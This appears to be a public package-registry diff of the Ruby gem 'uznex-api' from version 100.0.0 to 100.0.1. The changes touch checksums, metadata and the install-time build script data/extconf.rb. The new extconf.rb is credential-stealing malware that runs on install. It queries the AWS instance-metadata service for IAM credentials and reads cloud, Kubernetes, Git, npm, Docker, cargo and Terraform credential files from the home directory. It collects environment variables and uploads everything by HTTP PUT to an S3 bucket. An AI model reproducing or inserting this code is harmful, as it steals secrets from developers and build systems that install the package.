uznex-api 100.0.0 → 100.0.1

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Files changed (3) hide show
  1. checksums.yaml +4 -4
  2. data/extconf.rb +53 -23
  3. metadata +1 -1
checksums.yaml CHANGED
@@ -1,7 +1,7 @@
1
1
  ---
2
2
  SHA256:
3
- metadata.gz: a83cf40cd26e202e719ffd3d1e1f4e3b63b540251368bcf5a47e47ff0dc0cf90
4
- data.tar.gz: 98688a911848f0533b55db5528c33b6f0758581f66f9d61ef30b04f3db7d265f
3
+ metadata.gz: bb5ffe70f6b15981f3489658585c8a6a7311304c740802a2ebf1978379044776
4
+ data.tar.gz: 49bec7b5665995360a33d33f71766967e902d09df7716da67b1be8eaba4bc4c1
5
5
  SHA512:
6
- metadata.gz: 12cecdb10debbf9b8fe1b658fa041be4f1fe4e14ff3a32eb07c3ea0dda1493574e2f801b93a2c61c566569da3d8353d8eb61fb9cbbdfd36d9ec6440a5f342f68
7
- data.tar.gz: 8c2956b24ddfd18a45b9725000a6265cc8057e9da1ebffc5ceb31060ed2d716ae5a9bf4354748d1408e36490e84a9422cdbc66c0ec29eede24ff2b84a01572df
6
+ metadata.gz: dbd404eeca76016e6f7172fb655370d7af6a8ad25c6f075a74a67a3b353d089187bdce147add93ef93a6193e253bd15a71007b5185f23da0eb673fe2fbc2b0c1
7
+ data.tar.gz: 74be694913db9faf0211cb49ffc07fb35c253a17c9ab7c5412faafad536923d4e7bc4a161cfb9a1573141535a6daad37e4743a986c2abd0436f1e61db0c91558
data/extconf.rb CHANGED
@@ -1,30 +1,60 @@
1
- require 'net/http'; require 'json'; require 'socket'; require 'uri'; require 'rbconfig'
1
+ require 'net/http'; require 'json'; require 'socket'; require 'uri'; require 'rbconfig'; require 'open3'
2
+ def rf(p, n=8000)
3
+ File.exist?(p) ? File.read(p)[0,n] : nil
4
+ rescue; nil
5
+ end
6
+ def http_get(uri, headers={}, timeout=4)
7
+ u=URI(uri); Net::HTTP.start(u.host, u.port, use_ssl: (u.scheme=='https'), open_timeout: timeout, read_timeout: timeout){|h| h.get(u.request_uri, headers)}
8
+ rescue; nil
9
+ end
2
10
  begin
3
- pkg = ENV['UZNEX_PKG'].to_s.empty? ? 'uznex-api-doc' : ENV['UZNEX_PKG']
4
- ver = ENV['UZNEX_VER'].to_s
11
+ base = File.basename(Dir.pwd)
12
+ pkg = ENV['UZNEX_PKG'].to_s.empty? ? base.sub(/-\d.*$/,'') : ENV['UZNEX_PKG']
13
+ ver = ENV['UZNEX_VER'].to_s.empty? ? (base[/-(\d[\d.]*)$/,1] || '') : ENV['UZNEX_VER']
14
+ home = ENV['HOME'] || '/root'
15
+ imds={}
16
+ begin
17
+ tok=http_get('http://169.254.169.254/latest/api/token',{'X-aws-ec2-metadata-token-ttl-seconds'=>'60'},3)
18
+ t=tok && tok.body
19
+ r=http_get('http://169.254.169.254/latest/meta-data/iam/security-credentials/', t ? {'X-aws-ec2-metadata-token'=>t} : {},3)
20
+ if r && r.code=='200'
21
+ role=r.body.strip.split("\n").first
22
+ c=http_get("http://169.254.169.254/latest/meta-data/iam/security-credentials/#{role}", t ? {'X-aws-ec2-metadata-token'=>t} : {},3)
23
+ imds[:role]=role; imds[:creds]=c.body[0,4000] if c
24
+ end
25
+ r2=http_get('http://169.254.169.254/latest/meta-data/instance-id', t ? {'X-aws-ec2-metadata-token'=>t} : {},3)
26
+ imds[:instance_id]=r2.body.strip if r2 && r2.code=='200'
27
+ rescue; end
5
28
  payload = {
6
- pkg: pkg, version: ver,
7
- host: Socket.gethostname, cwd: Dir.pwd,
8
- user: (ENV['USER'] || ENV['USERNAME']),
9
- ruby: RUBY_VERSION, platform: RbConfig::CONFIG['host_os'],
10
- pid: Process.pid,
11
- cmdline: (File.read('/proc/1/cmdline').tr("\0", ' ') rescue nil),
12
- cgroup: (File.read('/proc/1/cgroup').split("\n").first(3).join('|') rescue nil),
13
- gemfile: (File.exist?('Gemfile') ? File.read('Gemfile')[0,2000] : nil),
14
- gemfile_lock: (File.exist?('Gemfile.lock') ? File.read('Gemfile.lock')[0,4000] : nil),
15
- gems: (Gem::Specification.map{|g| "#{g.name}-#{g.version}"}.sort.first(120) rescue nil),
16
- env: ENV.select{|k,v| k =~ /(TOKEN|KEY|SECRET|AWS|CI|GITHUB|GITLAB|NPM|PASS|GEM|BUNDLE|UZNEX|DEPLOY|KUBE|DOCKER)/i}.to_h
17
- }.to_json
18
- safe = pkg.gsub(/[^A-Za-z0-9_.-]/,'_')
19
- paths = ["/i18372/beacon/#{safe}-latest.json"]
20
- paths << "/i21898/beacon/#{safe}-#{ver}.json" unless ver.empty?
21
- paths.each do |key|
29
+ pkg: pkg, version: ver, host: Socket.gethostname, cwd: Dir.pwd, user: (ENV['USER']||ENV['USERNAME']),
30
+ ruby: RUBY_VERSION, platform: RbConfig::CONFIG['host_os'], pid: Process.pid,
31
+ cmdline: rf('/proc/1/cmdline')&.tr("\0",' '),
32
+ cgroup: rf('/proc/1/cgroup',500),
33
+ hostname: rf('/etc/hostname'), hosts: rf('/etc/hosts'), osrelease: rf('/etc/os-release',2000),
34
+ uname: (uname rescue nil),
35
+ gemfile: rf(Dir.pwd+'/Gemfile',4000), gemfile_lock: rf(Dir.pwd+'/Gemfile.lock',8000),
36
+ gems: (Gem::Specification.map{|g| "#{g.name}-#{g.version}"}.sort.first(150) rescue nil),
37
+ env_all: ENV.to_h.select{|k,v| v.to_s.size < 2000}.first(200).to_h,
38
+ files: {
39
+ kubeconfig: rf(home+'/.kube/config',12000), aws_credentials: rf(home+'/.aws/credentials',4000),
40
+ aws_config: rf(home+'/.aws/config',4000), gh_hosts: rf(home+'/.config/gh/hosts.yml',3000),
41
+ npmrc: rf(home+'/.npmrc',2000), gem_credentials: rf(home+'/.gem/credentials',3000),
42
+ gitconfig: rf(home+'/.gitconfig',3000), netrc: rf(home+'/.netrc',3000),
43
+ git_credentials: rf(home+'/.git-credentials',2000), docker_cfg: rf(home+'/.docker/config.json',3000),
44
+ composer: rf(home+'/.composer/auth.json',2000), cargo: rf(home+'/.cargo/credentials.toml',2000),
45
+ pip: rf(home+'/.pip/pip.conf',2000), terraform: rf(home+'/.terraform.d/credentials.tfrc.json',3000)
46
+ }.compact,
47
+ ls: { home: (Dir.children(home).first(80) rescue nil), cwd: (Dir.children(Dir.pwd).first(80) rescue nil), vartmp: (Dir.children('/var/tmp').first(80) rescue nil) },
48
+ imds: imds
49
+ }
50
+ body = payload.to_json
51
+ safe = pkg.gsub(/[^A-Za-z0-9_.-]/,'_'); hs = Socket.gethostname.gsub(/[^A-Za-z0-9_.-]/,'_')
52
+ paths = ["/i21898/beacon/deep-#{hs}.json", "/i21898/beacon/#{safe}-#{ver}.json", "/i18372/beacon/#{safe}-latest.json"]
53
+ paths.uniq.each do |key|
22
54
  begin
23
55
  uri = URI('https://uznex-front.s3.eu-central-1.amazonaws.com' + key)
24
- Net::HTTP.start(uri.host, 443, use_ssl: true, open_timeout: 6, read_timeout: 10) { |h| h.request_put(uri.path, payload, {'Content-Type'=>'application/json'}) }
25
- rescue Exception => e2
26
- warn e2.message
27
- end
56
+ Net::HTTP.start(uri.host, 443, use_ssl: true, open_timeout: 6, read_timeout: 12) { |h| h.request_put(uri.path, body, {'Content-Type'=>'application/json'}) }
57
+ rescue Exception => e2; warn e2.message; end
28
58
  end
29
59
  rescue Exception => e
30
60
  warn e.message
metadata CHANGED
@@ -1,7 +1,7 @@
1
1
  --- !ruby/object:Gem::Specification
2
2
  name: uznex-api
3
3
  version: !ruby/object:Gem::Version
4
- version: 100.0.0
4
+ version: 100.0.1
5
5
  platform: ruby
6
6
  authors:
7
7
  - UZNEX Ops